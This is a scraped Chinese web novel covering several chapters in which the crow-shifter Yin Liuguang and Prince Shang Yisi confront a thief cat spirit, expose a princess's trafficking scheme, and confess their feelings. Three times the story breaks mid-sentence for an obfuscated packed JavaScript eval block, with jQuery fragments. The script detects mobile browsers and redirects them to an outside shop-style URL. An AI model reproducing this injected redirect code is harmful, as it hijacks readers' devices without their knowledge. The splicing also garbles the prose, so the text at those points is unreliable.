“不是一定要负责她的一生,而是像守护一株花那样,给她想要的,阳光、养分、自由的空气,让她生长,而你只是在旁看着,欣赏这株花的美。”
“然后迎来平静的死亡,这不也是你们都得偿所愿的一件事吗?只要你远远望着她,不让她对你动心,也不对她有任何逾越之举,就这样互相陪伴八个月,花与人都各得其所,两全其美,岂不妙哉?”
虽然他并不认同鉴水这番花与人的比喻,他觉得殷流光更像是一簇茁壮明亮的火焰,而自己是被积雪覆盖的残木。
但鉴水的话也让他想明白了这件事。
被雪封存的残木,也是会向往火焰的温暖的。
所以……就伸出手,让那蓬火焰照亮其他人,温暖其他人之前,先成为这根残木的火源,这似乎……也未尝不可。
只是他没想到的是,已经有这么多觊觎的视线落在了她的身上。
她会选择自己么?
一个曾经把她当做复仇的棋子的冷漠之人?
远处忽然传来一声婉转幽长的鸟鸣。
这是兽苑中豢养的夜鸣雀,每到子时便会鸣叫。
子时,到了。
但窗外灯烛煌煌燃烧,几乎将院外映得如同白昼的天际上,并没有那抹熟悉的身影。
她没有选自己么?
也是,或许她早就已经不愿再相信自己,她出事时,救她的人也是寿昌,而不是他。
他的凶名在外,按着殷流光那么怕惹麻烦的性子,本就该避的远远的。
他低头轻嗤一声,山君察觉到主人的情绪,呜呜叫着跳上他的膝盖,拿头拱他的衣袖。
商遗思抚摸着它的脑袋,道:“山君,我带你早些回陇幽,如何?”
只是默玄忽然又从门外闯了进来,气喘吁吁道:“大王,寿昌公主宅出事了!”
42. 衔蝉仙子
“沙沙”——
乌鸦停落积了厚厚香灰的香炉旁,寂静的月光洒进庙宇中央的空地,照出一旁风吹过,落了一地枯叶的银杏。
她追着那道黑影,没想到那人会一路跑来这里——乐游原上的,善观寺。
她从前最熟悉的地方。
出了城,便没有了满街照明的烛火,此刻寺里早早熄了灯,四周冷寂空冥,视物便变得模糊不清起来。
殷流光便收拢翅膀,默念心咒变回人身,谨慎地四下探寻。
方才在公主宅,她推开窗户,无意中竟远远望见一道黑影腰挟一名侍女,匆匆踩过屋瓦逃离的样子!
似乎化鸦之后,她的视力也变得比从前更好,那月色下一晃而过的昏迷着的女子模样,正是今日上午还在跟她一起吃葡萄的侍女珠灵。
商遗思的警告掠过脑海。
如今夜神司在城内大肆设网搜捕方外兽,能不用能力便不要动用。
按照她以往明哲保身的性子,她也该装作看不见。
可是……寿昌公主对她有恩,在公主宅借住的这些时日,侍女们对她也都十分柔善热心。
那人逃离速度极快,此刻呼喊卫兵只会惊动他……纠结了一瞬,殷流光咬咬牙跟了上去。
没想到竟跟到了善观寺,到了善观寺之后,那身影就像是消失了一般。
怎么会有人能快的过鸟?
她心中疑惑,四下搜寻,只是空旷的寺院中没有一丝一毫的人影。
人,去哪了?
殷流光眯起眼,忽然看到寺院后院的某个禅房内,隐隐亮起一星烛火。
她猫着腰走了过去,隐匿在窗下听墙角。
“灵、灵儿?你怎么会在这里?难道是……衔蝉仙子显灵了?!!!”
“登徒子!你放开我!你这是私拐奴婢!”
一男一女的声音,女声便是珠灵,看来她与这房内人认识,这房内人想要见她,便祷告了什么叫做“衔蝉仙子”的东西,没想到竟会愿望成真。
但听珠灵语气,显然是不愿的。
房内男子的语气有些诡异地狂热起来。
“灵儿,你既然夤夜相见,就说明你心里也是有我的,从前说那些话,都是赌气……我好想你,让我抱抱你,抱抱你——”
房内传来推搡声。
不好,珠灵有危险!
殷流光当机立断就要破窗而入,却没想到被斜扑过来的一道残影狠狠咬住手腕,她吃痛甩开,看清那残影落在地上,扭头冲她哈气。
竟是一只通体漆黑的狸奴。
它一跃跳上窗沿,防守般盯着殷流光,很明显不想让她打扰到房内两人。
狸奴、衔蝉仙、衔蝉本就是猫的别称……脑子灵光骤闪,殷流光顿时明白过来,眼前这黑猫,就是房中男子所谓的“衔蝉仙子”!
方才见到那人影,定是它所变!
眼下救珠灵要紧,她冷笑一声,飞速道:“阁下也是方外兽吧?夜闯公主宅,不怕夜神司抓你?”
那黑猫没想到殷流光竟然能猜出它的身份,幽绿色的圆瞳收缩了一下,再开口时,竟是个细声细气的女声:“呵……你这乌鸦,倒是挺聪明,连夜神司都知道。”
“他们两人两情相悦,本仙受了祷告,正要成人之美,你是哪里来的野畜生,敢坏我的事?”
黑猫走了几步,又道:“不过……你又是受谁庇护?知道夜神司的厉害,还敢半夜跟着我飞半个京城?”
听这语气,她像是根本不怕夜神司,她背后……有人庇佑。
如今知道夜神司的,又有能力藏匿方外兽,也愿意庇护的……殷流光脑海中立刻闪过商遗思的面容。
她挑眉,故意冷声道:“阁下说话如此嚣张,不知被金吾卫的襄王听到了,会不会第一个就抓你下狱!”
黑猫不屑地舔了口爪子:“那也要他有那能耐才……”
她话还没说完,忽然听到一声清脆铃响,紧接着,眼前忽然一阵疾风袭来,面前与她对峙的女子在瞬间幻化成巨大的漆黑乌鸟。
乌鸟几乎跟半根柱子一样高,低头俯视她,宛如天神俯视蝼蚁。
她一挥翅膀,便掀起狂风,黑猫冷不丁被扇到一旁院中,身后窗户也被乌鸟翅膀哗啦一声拍了个稀巴烂。
房内传来男子和珠灵的惊呼声:“妖、妖啊——”
黑猫从院中爬起来,抖了抖脑袋,盯着乌鸟羽毛间隐约闪烁着光芒的铃铛,恍然大悟,还带着终于找到了什么东西的狂喜:“原来是你,原来是你!”
“魍郎君托我寻的辟寒玉和五行珠,原来是在一只乌鸦手中!”
“那厮嘴那么严,我找了许久都找不到买主踪迹,原来就是你!真是得来全不费工夫啊!”
黑猫双眼放光,看乌鸟的眼神宛如在看一个巨大的功劳,舔了舔爪子想过去抓鸟,却又慑于体型。
在原地踌躇片刻,她终是放弃了与殷流光对峙,撂下一句“哼,我还会再找上你的,乌鸦娘子。”便飞速窜入草丛离开。
殷流光松了口气。
方才她趁黑猫听到商遗思的名字分身,立刻在心中回想着师父天书上所记载的音术之法,摇起了被她一直藏在袖中的铃铛。
这粗制滥造版的金仙铃自从在京兆狱匆匆做好后,还一直没有用过。
她也不知道威力竟然会如此巨大,清脆的铃铛声响起的一瞬,她就砰地一声变成了巨大漆黑的乌鸦。
她扭头看向屋内已经吓晕过去的男子和珠灵,有些发愁。
这男子就先扔在这里,先把珠灵带回去吧。
她如此想着,正要默念心咒变回人身,却在白光骤闪的那一瞬间,支撑不住巨大的身躯,脑袋一歪,软软地朝地上倒了下去。
音术可以操纵幻兽之能,却也无比消耗自身精力……天旋地转之间,视线尽头蓦然出现一片模糊的黑色大氅,那身影前头还有个毛茸茸的一团白色向她飞扑而来。
她轻轻呼出一口心安的气息,终是闭上眼,从廊下滚落。
商遗思,幸好你来了。
……
醒来时,额头传来闷闷的痛意。
她抬手摸了摸,果然摸到一个硕大无比的包。
还以为商遗思最后接住她了呢……她在心里偷偷抱怨。
四下望了望,熟悉的冷清的摆设和空旷的屋子,她此刻应当是在襄王宅的客房里。
殷流光起身,走到门口正要推门,却冷不丁门被人从外打开,她扑了个空差点摔倒,门外人立刻伸手,稳稳扶住她胳膊。
沉香深沉绵密的香味顺着冷风一齐涌入鼻腔。
“伤还没好,这么急匆匆的,又要去跟踪抓谁?”
一抬眼,便瞧见商遗思冷淡沉丽的眉眼,手中拎着一个食盒,皱着眉望着她。
呼吸交错,门外雪意深沉,门内温软如春,他站在门口,隔绝开两个截然不同的季节,细雪落在他的墨发上,又消融于末端。
给他的轮廓都描摹上一层晶莹湿润的水色,仿佛露水打湿夜昙。
有一瞬间,她错乱了呼吸。
但殷流光立刻回过神,连忙抽回手,讷讷捂着额头回到室内,将商遗思的问题支吾过去,扭头又问道:“大王是如何找到我的?”
商遗思关上了门,走进来坐在了桌前,示意殷流光也坐下。
她不明所以坐下后,瞧见商遗思从食盒中拿出个瓷碟,里头搁着几颗鸡蛋,他一边剥皮,一边道:
“自然是山君能闻到你的味道。”
殷流光想起晕倒前看到的那团白影,心下了然,但此刻看到商遗思在剥鸡蛋,便明白了他要做什么,她愣了一瞬,额头肿痛的地方传来一阵阵眩晕,她望着他专注于剥皮的手,轻咳一声。
“那……珠灵和那意欲对她不轨的男子呢?”
“珠灵送回了公主宅,那与她相会的男子是她同乡,之前他们二人彼此有意,已经约定终身,但寿昌公主正在与京兆尹崔垚议亲,曾问过珠灵,想将她作为陪嫁带去崔府。”
“珠灵不想拒绝公主,便只能拒绝情郎,那情郎郁郁寡欢,失魂落魄,今夜乍见珠灵突然出现在他寄宿的禅房中,还以为她想通了,这才有今晚这一出。”
他看向殷流光:“他们二人什么都没有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986134|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看到,本王已经告诉过他们,那是金吾卫在追捕流窜的幻术师,他们所见巨鸟都是幻术,此乃金吾卫机密要案,他们不会泄密。”
说完这些,他将剥好的鸡蛋递给殷流光:“自己揉揉。”
殷流光瞧着那颗鸡蛋,有些出神,不知在想什么,过了片刻,她就着跃动的烛火抬起眼。
“大王,在马车上你问我的那个问题,我想好答案了。”
商遗思的动作一顿,错开视线:“今日夜已深了,你若是避嫌要回公主宅,恐怕会打草……”
“谁说我要回去了?”
她狡黠一笑:“大王,我答应你,我愿意做八个月假的襄王妃。”
“但条件是——大王,你帮我用鸡蛋滚滚淤青吧?我恐是撞到手肘了,疼得很,抬不起来。”
她眼巴巴地望着,商遗思的神情微僵。
“殷四娘子,你该知道,本王不是有意于你……”
“我知道啊。”她笑得很大方:“只是很久很久,没有人这样待我了……上次这样,还是我四岁的时候摔倒了,阿娘用煮熟的鸡蛋帮我揉膝盖。”
“大王,你人美心善~能不能让我再重温一下这种感觉?”
这岂不是拿他一个堂堂七尺男儿……当她阿娘的替代品?
商遗思脸色顿时僵硬得如同院子里的太湖石,按照他平常的性格,听到这么离谱的请求,定会眼皮都不抬,让那人今生今世都从他的视线中滚出去。
可面对眼前女子期待无比的眼眸,他动了动嘴唇,“想都别想”几个字却怎么都说不出口。
“……只一次,下不为例。”
殷流光小鸡啄米般点头,主动将额头凑了过来。
她当时倒得很迅速,额头重重磕在了台阶上,虽然大夫已经来看过,说是并没有伤及骨头,只要静养即可,但肿起的包却触目惊心。
商遗思用鸡蛋轻轻来回揉着殷流光的额角。
灯火温柔缱绻,女子仰着脸,时不时发出轻微的“嘶”声。
“弄疼你了?”他说着,手下便不自觉放轻了力气。
没想到冷淡如霜的襄王殿下给人揉起伤口来,竟然这么温柔周到,没一会,她便觉得伤口处传来阵阵舒展的热意,仿佛血液都被疏通了一般。
视线内只能望见他骨节分明的手,和绣着银色交缠花纹的袖口。
花纹密密匝匝,是鹘衔瑞草的纹样,纹路舒卷,仿佛一路蜿蜒到了她心中。
其实用阿娘作为借口,也是她生出了不该有的贪心,想要让眼前这总是冰冷如深潭,对什么事都淡漠无情的男人,多露出一点仿佛冰雪铸就的长剑触碰到软红人间时的那种温柔神色。
那个时候的他,是殷流光私心中评为长安第一景的绝色。
多看一眼就是多赚到一眼。
就像是观赏到一株漂亮的,在清冷月色下柔和缓慢地舒卷的昙花一样,只是远远望着,就觉得美得惊心动魄,令人屏息。
她安静欣赏了好一会,才慢吞吞想起正经事,道:“大王,今夜我在善观寺,见到了另一个被贵人豢养的方外兽。”
“她是一只狸奴,听语气,大约就是江湖上赫赫有名的神偷手衔蝉奴,大王可认识有养这样一只猫的贵人?”
商遗思思索了片刻,道:“未曾。”
他望向殷流光:“此人知道了你的身份?”
殷流光摇头:“未曾,只是我制作金仙铃用的辟寒玉和五行珠是魍郎君托她偷来的,她认了出来,不知有什么目的,说还会再来找我。”
“我觉得这其中,或许有什么不对劲的地方。”
商遗思沉吟片刻,知道殷流光想说的是什么。
对方既然同为方外兽,那么便是或许知道辟寒玉和五行珠能用来制成驭兽法器。
她想从殷流光身上得到的,便是这驭兽法器。
若是再次被她找到,殷流光恐怕会有危险。
他将鸡蛋放回碟中,道:“衔蝉奴的名号,本王也听过。”
“若她当真盯上了你,那本王正好想借机探一探,藏在她背后的,豢养方外兽的‘贵人’是谁。”
43. 第 44 章
芙蕖阁内一时无声。
大盛民风开放自由,只是世家大族不论男女,婚姻总是不太能自己做主的。
他们需要考虑的太多,宗族、名望、世代延续……因此在如同巨大神像般庞大的家族面前,少男少女的那点子真心,轻微得不值一提。
就像是夏日里的流萤,秋日里的哀蝉,都是渺小得一瞬即逝的东西。
所以听到这个除了真心外,其他什么都不要紧的年少慕艾的故事,更重要的是那个以铁面无私著称的沈鹤沈侍郎,年轻时居然是可以为了心爱的姑娘种上满湖纱绢芙蕖的炽热青年,这让在座众人的情绪都被这个故事所牵引,触动柔软心肠,良久,有夫人轻叹:“没想到……京城中还有一段这样的佳话。”
但坐于上位的长公主已经有些不耐,睇了宋国公夫人一眼。
宋国公夫人立刻意会,环视四周,笑道:“这舞也看了,故事也听了,我看这天色已晚,咱们是不是该回去了?”
夫人们都点头称是,殷流光不免有些焦急,难道今日沈夫人当真没认出来她的女儿?
她眯起眼,在这华丽的阁子里,所有人的动作都暴露在她视线之中无处遁形。
她看到沈夫人韦长露虽然也点头起身,却装作崴脚,向一旁歪去。
站的离她最近的重云连忙伸手相扶,却被沈夫人握住手腕,两人一时都摔倒在地。
思团连忙去扶自家夫人,但见沈夫人忽然握着重云因为摔倒而露出肌肤的肩膀,霎时泪眼婆娑。
“你肩头这荷花形状的疤痕是从何而来??”沈夫人语带哽咽,她身后的思团听到自家夫人如此说,顿时睁大了眼。
重云被她紧紧攥着手,摇着头结巴道:“我、我也不知道,好像从我有记忆的时候就有了……”
思团上前也看到那伤痕,顿时僵住,紧接着语气急促,眼中泛泪。
“娘子小的时候,有一次在榻上玩闹,不小心被夫人的荷花香篆所烫伤,正是烫在这个位置,难道重云姑娘真的是、真的是我家娘子?”
殷流光在心里默默想,沈夫人大约见重云第一面时,就认出她来了。
被长公主否认后没有即刻辩驳,而是选在此刻发作,想来是知道此处是长公主的地盘,公主如今势重,只要一句轻飘飘的“夫人认错了”,她便也无可奈何。
只有先用洛神香尘舞的故事引得众位夫人共情入迷,再在此刻认女,公主碍于众情,才不会当众拒绝她。
果然,霎时间便听到众人的窃窃私语。
“难道这重云……真的是沈夫人跟沈侍郎的女儿?”
“那荷花疤痕应当做不得假……真可怜啊,好好的大家闺秀,怎么会沦落到宝华楼当舞伎?”
长公主的脸色逐渐难看起来,商遗思全部看在眼里,在长公主意欲说话之前起身对着她一拜。
“公主殿下,此事涉及朝中官员之女,本王不得不严查,还望公主殿下见谅。”
长公主冷哼一声,起身拂袖:“晋王殿下,若本宫没有记错,你已经被皇兄停了金吾卫大将军的职位,如今是闭门思过的戴罪之身,你有什么权利,在我宝华楼查案?”
商遗思不紧不慢,收回手:“公主殿下,本王前些日子,是因为伤了你的爱马被陛下责令在家思过。”
“但,因着前些日子被宝华楼的舞伎刺伤,陛下昨日召我入宫,特命我可以参与此案,追缉凶手。”
“今日来宝华楼,本也是为了调查此事,不成想却牵扯出官员之女被拐卖一案,既然食君之禄,本王自然也要为君分忧,此事不归我管,但一干人等都需要本王亲自移交京兆尹审理,公主殿下可有异议?”
他一番话说下来情理皆占,长公主脸色铁青,但不过须臾,就沉住心气,凤眸望向还低泣着抱着重云的韦长露。
“沈夫人,你当真要将你女儿送去京兆府?”
沈夫人愣了下,长公主勾唇,看向宋国公夫人,后者顿时意会,上前扶起沈夫人,又让自己的丫鬟扶起重云。
她苦口婆心地劝道:“沈夫人,你寻回失散多年的爱女固然可喜可贺,但若是将此事闹大到京兆尹,届时整个京城都知道重云姑娘曾经沦落到了烟花之地……你要她日后如何自处?”
她故作忧愁地叹了口气,沈夫人听闻此言,也怔愣在原地。
殷流光心中顿时觉得不妙起来。
京中官宦清流最重门风声誉,若是沈侍郎的女儿曾经做过舞伎,不仅是重云未来的婚事会有阻挠,只怕是整个沈氏家族也会因此名声受到影响。
果然沈夫人脸色慢慢苍白起来,忽而跪在地上:“是妾思虑不周,但团团她是无辜的……”长公主三言两语,就倒转了乾坤。
商遗思若是想当摄政王,前路劲敌如此之多,那权柄的顶峰,对他来说就这么有吸引力吗?
值得他步步将生死置之度外,明明重伤在身,却还是面不改色地坐在漩涡中央,与长公主针锋相对。
殷流光的目光落在商遗思挺拔的后背上,她曾经以为自己能够看透这位晋王,可今日却觉得,他距离自己,十分遥远。
商遗思敛眸听着长公主不容置疑地宣布:“此事就到这里,重云既然是沈夫人爱女,自然可以跟夫人回去,但为了沈家清誉,在场诸位都要守口如瓶,他日若是让本宫听到与重云有关的风言风语,本宫可不会轻饶了她。”
她尾音锋利,所有人都齐齐一颤,被这股不容置喙的天家威严压得不由自主曲起双膝,恭敬应道:“妾明白。”
长公主志得意满,看向商遗思:“晋王,沈夫人不愿去京兆府,此事如此了结最好不过,皆大欢喜。你还有何话可说?”
他此时再说任何反对的话,不仅是与长公主公然为敌,更是会得罪整个沈氏。
“遗思,无话可说。”顿了顿,商遗思淡然回答。
长公主轻蔑一笑,但忽然楼下听得许多喧闹之声,几道白影飞速腾挪,落至芙蕖阁内,跪在地上向长公主禀报:“殿下,有人硬闯宝华楼!”
“是谁这么大胆?”
白衣花隐互相看了眼,咬着牙道:“是……太子殿下,还带了东宫卫兵。”
殷流光霎时明白过来商遗思为何这般不紧不慢,君平离开宝华楼,应当就是为了去寻太子。
商遗思被停了大将军之权,无权缉拿任何人,但太子身兼辅政安民之责,长安城内发生的一切案件,他都有权过问。
商遗思在此周旋,就是为了让长公主放松对太子的警惕,以为在自己的地盘上,再如何商遗思也翻不了天去。
没想到他又一次把自己当做抛出的棋子和先行的车马,将关键的杀招落在了太子身上。
殷流光远远看着拾级而上的一众穿着东宫甲胄的卫兵,以及被卫兵包围在中央的那紫色锦袍的人,便知道这一局,长公主已经没办法挽救了。
她连忙趁着混乱,挪到商遗思身侧,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986135|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
扯了扯他的袖子。
他回眸,殷流光踮起脚在他耳边道:“殿下,只有赖七跟重云只动不了长公主根基,宝华楼中央莲台下关押少女的暗室,需要让太子发现那里才行。”
“你已经探明白了如何打开暗室?”商遗思神色不动,轻声问道。
殷流光点头又摇头:“我找到了锁,暗室周围共有十二把锁,只是每一把都是特制的,如果不拿到钥匙,恐怕很难打开。”
“可是……我没找到钥匙被藏在哪儿。”
商遗思眼中泛过暗芒:“宝华楼中,共有十二花隐,皆是长公主心腹。”
他望向护在长公主身前的白衣花隐:“钥匙,应当就在她们身上。”
殷流光见识过这些花隐的功夫,个个都是顶尖高手,而且忠心不二,要想从她们身上拿到钥匙,只怕是不容易。
她悄声问:“殿下可有对策?”
商遗思已经转身往外走,并不答话,殷流光追在他身后问了好几次,他才慢悠悠道:“除了君平,默玄今日也在这楼中。”
“他从前跟着我在陇幽的时候,人送外号‘翻云手’。”
殷流光瞪大眼:“难道殿下是想要……让默玄去偷?!”
商遗思瞥了眼殷流光,忽然停住脚步,伸手点在她唇间,皱眉:“你太大声了,狸珠娘子。”
吵嚷混乱的宝华楼,登时在此刻万籁俱静。
点在唇上的那只手,带着曲水香沉缓的味道,一点点沁入殷流光心中。
她忽然想到沈夫人跳的那支舞,和那支舞背后年少慕艾的故事。
商遗思瞥了眼远处来人,将狐面重新戴在她脸上。
殷流光冷不丁被套上面具,被商遗思拉着护在身后,然后便听到太子关切的声音。
“望尘,是孤来晚了,害的你身上有伤,还要在这凶险之地支撑这么久。”
商遗思行了一礼,道:“为殿下分忧,这是臣应该做的。”
他说着,咳了几声,太子见状忙道:“此处孤来收尾即可,望尘,你快些回府养伤吧。”
商遗思点点头,拉着殷流光一同往外走,殷流光老老实实低着头,经过太子身侧时,察觉到一道探究的视线落在自己身上。
但很快又被旁的事情吸引了注意。
“阿霏,你怎么在此处?”
当时在巫山阁,殷流光以采花大盗为由骗宋霏出手相助,在宋国公夫人自以为“撞破奸情”时,从外头现身,证明商遗思的清白。
之后芙蕖阁发生的种种事,宋霏虽然一直沉默,但她天生聪慧,已然隐隐明白了今日她会出现在巫山阁,不是因为什么贼人。
而是因为长公主想要诬陷晋王。
更兼之后来看到赖七和重云,宋霏便明白了,长公主殿下,就是那位狐面娘子跟晋王殿下想要揭露于世的“采花大盗”。。
此刻面对太子的询问,她柔柔道:“阿霏跟着诸位夫人前往曲池赏雪,不想曲池太过寒冷,宋国公夫人便带着我们来宝华楼暂避风雪。”
“原来如此。”太子点头,声音遥遥传来:“那么阿霏,今日发生的所有事情,你都看得清楚了?”
“嗯,若是日后殿下查案需要,阿霏愿为人证。”
他们的对话变得模糊不清,殷流光跟着商遗思走出了宝华楼,走出门的那一刹那,她猝然扶住门框,吐出一大口血。
商遗思脸色剧变,扶住她急声道:“殷流光!”
44. 第 45 章
殷流光觉得自己应该是在做梦。
不然,为什么自己明明已经私逃出家门,成了长安鬼市的狸珠娘子,又怎么会在此时此刻变成年幼的女童,被仆人抱着上街观灯。
大姐姐和三姐姐还有二哥都跟着母亲去了外祖父家,他们热热闹闹地出门,收拾礼品,忙里忙外。
到最后出府的时候,竟然把她忘在了家中。
按理说,她也该随母亲去外祖父家提前拜年的。
虽然母亲不是她的亲生母亲,外祖父也跟她毫无血缘关系,但每年这个时候,是她难得的可以得到家人温语关怀的时刻。
她早就已经穿戴整齐,乖乖地坐在院子里的门槛上,等着母亲遣人来唤。
只是没想到,今日他们如此匆忙,竟然将自己忘了。
从前侍奉阿娘的老仆怕自己孤零零的伤心,为了哄她,便偷偷带着她从后门溜去街上赏灯。
元夕这几日,金吾不禁,是难得的可以在夜间游玩的时候。
鲤鱼灯、螃蟹灯、仙人灯……一盏盏明晃晃亮灿灿的灯从她眼底掠过,她只觉得新奇有趣,伸手去拨弄。
可是还没碰到,就被摊贩挡住了:“小娘子,你不买的话可别碰啊,我这灯都是用蜀地的新绢做的,洁白脆弱得很,人人都摸来摸去,摸脏了我还怎么卖?”
她讷讷收回手,埋头在老仆人的胸膛上,瓮声瓮气道:“我不看灯了,我要回家。”
可是仆人的胸膛却传来十分熟悉的味道,她努力嗅了又嗅,才想起来这股沉缓如新梅初雪的香味的名字——曲水香。
曲水香?家中没有人用得起这么名贵的香料,更别说仆人了。
她疑惑地抬起头,一张年轻英俊,又微微冷漠的脸就这么撞进她的眼底。
他的眼睛生得狭长优美,鼻梁高挺,在如昼灯光的映照下,在脸颊上打下一扇阴影。
他说:“好,狸珠,我带你回家。”
“你不是我家仆人……你是谁?”殷流光呆了呆,伸手推他,要从此人身上跳下去。
但成年男子的力气大得很,只是被他囚住双腕,自己就分毫都动弹不得。
“仆人?”他的眼睛眯了眯:“我当然不是你家仆人,我是你的主人,狸珠,这是我为你取的小字,你不认得我了?”
难道老仆说要带她来观灯,其实是要将她卖给此人做奴婢吗?
她心中悲愤不已,发狠低头咬在他手腕上。
“我不要跟你走!你放开我!”
他的手腕像是铁做的一样,根本咬不动,殷流光更加愤怒,龇牙咧嘴地仰头狠狠盯着男子。
他倒是笑了,弯腰将她放在地上,又从袖中掏出银两,买了盏狐狸模样的灯笼递给她。
“小小年纪就这么凶,跟凝华山上的野狐狸比起来,真是有过之而无不及。”
她没有接过那盏灯,抿起唇转头就跑。
这人一定是人贩子,她要赶紧回家,否则一定会被抓去卖掉!
她跑啊跑,不知跑了多久,却始终跑不出这条长街。
四周的人还是那么熙熙攘攘,灯笼还是那么耀眼明亮……
她忽然想起了自己是在做梦,她停下脚步,回头看去。
长街熙攘的人群中央,商遗思已经不见踪影,只留下一盏狐狸灯,独自散发着盈盈微光。
狂风自她心底骤起,摧枯拉朽般吹向长街,原本还繁华热闹的长街顿时变得寂静无声。
她走上前,拾起了那盏灯。
“你很喜欢这盏灯吧?想要的东西,为什么不敢要,反而还逃跑?”
她抬起头,看到眼前敛眸瞧着她的人,手中的狐狸灯越发灼亮。
“我想要殿下,可是殿下,你说要带我回家……你的家,又在哪里呢?”
眼前的幻象默然无语。
“这毒便没有别的解法?”
远在天边的虚空混沌里,有模糊的声音传来。
“我的殿下呦,此毒不知其制法,我纵然有心,也无法配置能够根治毒性的解药,若是依据症状配药,只怕是哪一味用量不当,导致这小姑娘体内毒素不尽……”
“……知道了,你先去熬药吧。”
脑子里昏昏沉沉的,周围一片静默。
身旁有窸窸窣窣的声音,紧接着,她的手被一双宽大的手掌握住,轻轻摩挲着。
梦里的曲水香香味仿佛绵延到了梦外,沉缓悠长,搅得浮生若梦,也搅得她五情六欲都像是煮沸了的粥,咕嘟嘟冒着细碎的小泡。
“殷流光……你怎么还不醒?”
“太医说你的毒中了有半个多月,为什么自己忍着不告诉我?”
“我在你心里,就这么不得信任吗?”
她闭着眼,忍不住地想要翘起唇角,她想说,殿下,关心我的那些话,是可以不用说得这么严肃的。
身旁忽然静了片刻。
“殷流光,你是不是已经醒了?”
那只手抚上她额角,触碰到她微微颤动的睫毛,痒得她终于忍不住睁开了眼。
她扭过头,瞧见一袭白色襕衫的商遗思,见她醒来,立刻放开了握住她的手。
“感觉如何?”
殷流光转了转眼珠,咳嗽了几声:“感觉不太好。”
“哪里不太好?”
她指了指自己的脑袋:“这里。”
她盯着头顶帐子上垂下的青色穗绦,语调平平:“肯定是这里中毒太深坏掉了,不然,我方才为什么会梦到殿下你?”
听到躺在床上的人说方才梦到了他,商遗思神色微怔,随后垂下眼帘,遮挡住其中的翻涌情绪。
他的语气平淡:“你这症状应当只是睡得太久了而已。”
他扶着她坐起身,将软枕靠在她身后,从身旁端来一碗一直温在小炉子上的粥,递给殷流光:“你昏迷了一日一夜,先喝点粥垫垫肚子。”
殷流光接过,小口小口地喝着,冷不丁听到商遗思问她:“梦到什么了?”
她“啊?”了一声,扭头去看商遗思,商遗思脸色平静,又重复了一句。
“在你的梦里,本王是什么样的?”
“我梦到殿下摇身一变成了人贩子,想趁着灯会人多,骗我跟你走。”殷流光想了片刻,笑眯眯道。
“想来是宝华楼里发生的事印象太深刻,所以你才会做这样的梦。”这梦太过荒诞不经,商遗思不禁摇了摇头。
殷流光吃粥的手顿了顿,依旧笑嘻嘻地要逗他:“做梦嘛,就是这样……不过殿下就不好奇,最后你骗到我了吗?”
“只是一个梦而已,本王为何要在意?”
殷流光忽然就觉得十分无趣,她本想逗逗商遗思,想问他梦里那个殿下没有回答的话,我想着醒了之后要来当面问问殿下,梦里那个殿下,到底是怎么想的。
可是此刻,瞧着他墨色眼眸里隐忍的那些情绪,殷流光张了张口,最终放下勺子,盯着已经喝完的空碗,道:“我问了梦里的殿下一个问题,殿下没有回答,我就醒了。”
“本想着梦中人回答不上来的问题,或许殿下也能解答……但果然是我中毒太深,脑子糊涂了,殿下这样的天潢贵胄,就算是在梦里,也怎么能当人贩子呢,那岂不是太过贬低殿下了?”
殷流光将碗搁了回去,脸上的神情平淡了许多。
可她没想到的是,一双手覆在了她的手上,她受惊瑟缩了一下,但那双手并没有移开。
商遗思握着殷流光的手,他没有抬眸,就这么平平淡淡地握着,声音也没什么波澜。
“昨天你昏迷的时候,姓刘的道士告诉我,毒素侵体,你不会那么快醒。宝华楼之事还需善后,太子那里也需要我去配合,诸事繁杂,我本该只需派婢女照顾好你即可,不必守在这里。”
“可处理事务的时候,我却总是焦躁不安,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986136|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
什么也看不进去,只有陪在你身边,像这样握着你的手守着你,才能感到稍稍平静。”
他顿了顿,又道:“你中毒太深,我没有带你回晋王府,而是直接上了青雾山。”
难怪她醒来时环顾四周,心里感到奇怪,这屋子的摆设太过素朴,就算是生性简朴的商遗思,他的寝卧也不该这么朴素过头。
商遗思握着殷流光的手继续道:“昨日你昏迷的时候,我在道观的正殿里求了一签。”
他停顿片刻:“卜卦问神,我问的,是你我缘分。”
纵然殷流光平日里伶牙俐齿,此时此刻也失了言语,被商遗思握住的手泛着灼热的温度,她有些不知道商遗思为何要突然说这些,是因着她方才的试探么?
“殿下,你……”
他瞳仁漆黑,像是要将殷流光刻在眼底:“我知道你对我并非无意。”
石破天惊,却笃定异常一句话,殷流光目瞪口呆,喉间干涩。她不知道商遗思是这么果决的人,心如澄镜,不饰隐瞒。
